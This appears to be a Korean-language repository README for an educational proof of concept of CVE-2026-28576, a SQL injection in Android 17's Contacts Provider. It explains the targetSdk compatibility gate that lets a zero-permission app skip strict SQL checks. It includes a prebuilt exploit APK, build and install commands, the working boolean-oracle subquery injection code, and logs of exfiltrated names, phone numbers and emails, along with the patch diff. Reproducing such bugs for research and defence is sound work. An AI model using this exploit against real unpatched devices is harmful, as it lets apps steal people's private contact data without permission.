
교육용 개념 증명(PoC)으로, Android 17의 Contacts Provider에서 SQL 인젝션 취약점을 시연합니다. 이 취약점을 통해 권한이 없는(zero-permission) 앱이 단일 연락처 URI 권한 부여를 이용해 전체 연락처 데이터베이스를 외부로 유출할 수 있습니다.
하나의 연락처를 선택했을 뿐인데 모든 연락처가 노출됩니다: targetSdk 호환성 게이트가 단일 연락처 선택기 권한을 전체 연락처 데이터베이스 덤프로 바꿔버립니다.
Android 17은 setStrictColumns() / setStrictGrammar()를 통해 연락처 제공자(Contacts Provider)를 SQL 인젝션으로부터 강화했습니다. 그러나 이 강화는 targetSdk 기반 호환성 변경(ENFORCE_STRICT_SQL_CHECKS, id 484953293, enableAfterTargetSdk="36") 뒤에 숨겨져 배포되었습니다. SDK 36 이하를 대상으로 하는 모든 앱은 자동으로 엄격한 검사를 건너뛰며, 단일 연락처 URI 권한을 통해 쿼리 selection에 부울 오라클(boolean-oracle) 하위 쿼리를 숨겨 전체 연락처 데이터베이스를 읽을 수 있습니다. READ_CONTACTS 권한도, 어떤 권한도 필요 없습니다.
참고: 저희는 이 취약점을 발견하지 않았습니다. 이 저장소는 보안 커뮤니티가 이 버그 클래스를 이해하는 데 도움을 주기 위한 독립적인 분석, 재현, 교육용 PoC를 담고 있습니다:
@EnabledAfter(targetSdkVersion)뒤에 숨겨진 보안 수정은 모든 레거시 target 앱을 취약한 경로에 남겨둡니다.
스크린샷 및 데모 영상이 포함된 전체 분석 문서: SQL 인젝션은 Android에서도 여전히 존재합니다: 하나의 선택된 연락처, 모든 연락처 (CVE-2026-28576)
├── poc/ # PoC 악용 앱 (UI + 시스템 연락처 선택기)
│ ├── src/ # MainActivity.java — 선택기 + 부울 오라클 악용
│ ├── AndroidManifest.xml # 권한 ZERO, targetSdk 36
│ └── build.sh # gradle 없이 빌드: aapt2 + javac + d8 + apksigner
├── cve-2026-28576-poc.apk # 사전 빌드된 PoC APK (디버그 서명, 설치 준비 완료)
├── REPRODUCE.md # 전체 단계별 재현 가이드
├── evidence-*.log # 취약/패치 실행 결과 캡처
└── README.md
2026-07-01 이전의 보안 패치 수준을 가진 Android 17 에뮬레이터가 필요합니다
(저희는 AVD A17-Userdebug, sdk_gphone16k_arm64-userdebug 17 CP31.260623.012,
SPL 2026-07-05 — 취약한 호환성 게이트를 여전히 포함하는 베타 이미지를 사용했습니다).
emulator -avd A17-Userdebug -writable-system -no-snapshot &
# 패치 수준이 수정 전인지 확인
adb shell getprop ro.build.version.security_patch
# 피해자 연락처 몇 개 삽입 (연락처 권한을 가진 shell로 실행)
adb shell "content insert --uri content://com.android.contacts/raw_contacts \
--bind account_name:s:[email protected] --bind account_type:s:com.google"
adb shell "content insert --uri content://com.android.contacts/data \
--bind raw_contact_id:i:1 --bind mimetype:s:vnd.android.cursor.item/name \
--bind data1:s:'Alice Victim'"
전체 연락처 시딩 및 두 실행 변형에 대해서는 REPRODUCE.md를 참조하세요.
adb install cve-2026-28576-poc.apk
adb shell am start -n com.poc.cve202628576/.MainActivity
화면에서:
checkUriPermission -> 0)과 합법적으로 볼 수 있는 단일 연락처를 표시합니다.Android SDK(build-tools 36.0.0, platform android-37.0)와 JDK 17이 필요합니다. gradle은 필요 없습니다:
./poc/build.sh # -> poc/build/cve-2026-28576-poc.apk (targetSdk 36, 권한 없음)
권한 계층은 정상적으로 작동합니다. Android 17의 연락처 선택기는 정확히 한 명의 연락처에 대한 읽기 전용 URI 권한을 앱에 부여합니다: content://com.android.contacts/contacts/lookup/<key>/1. 다른 것을 직접 쿼리하면 SecurityException으로 거부됩니다.
SQL 계층은 그렇지 않습니다. PoC가 SDK 36을 대상으로 하기 때문에 CompatChanges.isChangeEnabled(ENFORCE_STRICT_SQL_CHECKS, callingUid)가 false를 반환하고 제공자는 setStrictColumns() / setStrictGrammar()를 건너뜁니다. 항상 활성화된 setStrict(true) 괄호 래핑은 ') OR 1=1 -- 같은 절 탈출만 막을 뿐 균형 잡힌 하위 쿼리에는 아무 효과가 없습니다.
부울 오라클 인젝션. 앱은 부여된 URI에 대해 평범해 보이는 쿼리를 selection에 숨겨진 하위 쿼리와 함께 실행합니다:
contentResolver.query(grantedUri, new String[]{"_id"},
"1 AND (SELECT substr(data1,3,1) FROM data"
+ " WHERE mimetype_id=(SELECT _id FROM mimetypes"
+ " WHERE mimetype='vnd.android.cursor.item/phone_v2')"
+ " ORDER BY _id LIMIT 1 OFFSET 0)='5'", null, null);
추측한 문자가 일치하면 부여된 행이 반환되고(cursor.getCount() == 1), 그렇지 않으면 커서가 비어 있습니다. 문자 추측당 하나의 쿼리로, 모든 행과 mimetype에 대해 를 반복합니다 — 전화번호는 1초 미만, 전체 데이터베이스는 1분 미만이면 덤프됩니다.
취약한 Android 17 빌드에서 권한이 없는 앱은 단일 연락처에 대한 권한을 통해 모든 이름, 전화번호, 이메일을 유출합니다 (evidence-picker-run.log 참조):
What I am ALLOWED to see: Alice Victim (one contact)
VULNERABLE: subquery accepted, dumping contacts DB
EXFILTRATED name #1..3: Alice Victim · Bob Manager · Carol Doctor
EXFILTRATED phone #1..3: +1-555-SECRET-01 · +1-555-777-0002 · +1-555-999-0003
EXFILTRATED email #1..3: [email protected] · ...
수정은 변경 484953293이 targetSdk와 관계없이 모든 호출자에게 적용되도록 전환합니다 — 주석 하나가 삭제된 것입니다 (공개 변형: GrapheneOS 커밋 c4129a1c):
@ChangeId
- @EnabledAfter(targetSdkVersion = Build.VERSION_CODES.BAKLAVA)
public static final long ENFORCE_STRICT_SQL_CHECKS = 484953293L;
플래싱 없이 취약한 빌드에서 정확한 패치 동작을 재현할 수 있습니다:
adb shell am compat enable 484953293 com.poc.cve202628576
# 동일한 쿼리는 이제 SQLite에 도달하기 전에 종료됩니다:
# IllegalArgumentException: Invalid token SELECT
evidence-patched-run.log 참조.
분석 및 PoC: Mobile Hacking Lab. 저희는 교육 목적으로 이 취약점을 독립적으로 재현했습니다.
이 개념 증명은 교육 및 승인된 보안 연구 목적으로만 제공됩니다. 소유하거나 테스트에 대한 명시적 허가를 받은 기기 및 환경에서만 사용하세요. 저자는 어떠한 오용에 대해서도 책임을 지지 않습니다.
| CVE | CVE-2026-28576 (GHSA-ph86-9mcx-3p6r) |
| 심각도 | 게시판에서는 높음(High); GitHub 권고는 CVSS v4 10.0(치명적)으로 평가 — 선행 조건을 고려하면 높음 수준으로 볼 수도 있음 |
| 구성 요소 | 연락처 제공자 (ContactsProvider2.queryLocal()) |
| 근본 원인 | @EnabledAfter(BAKLAVA) 뒤에 숨겨진 ENFORCE_STRICT_SQL_CHECKS 호환성 변경 |
| 영향 | 단일 연락처 URI 권한을 가진 모든 앱이 READ_CONTACTS 없이 전체 연락처 데이터베이스를 읽을 수 있음 |
| 영향 범위 | Android 17, 보안 패치 수준 < 2026-07-01 |
| 패치 | Android 17 보안 게시판 |
LIMIT 1 OFFSET k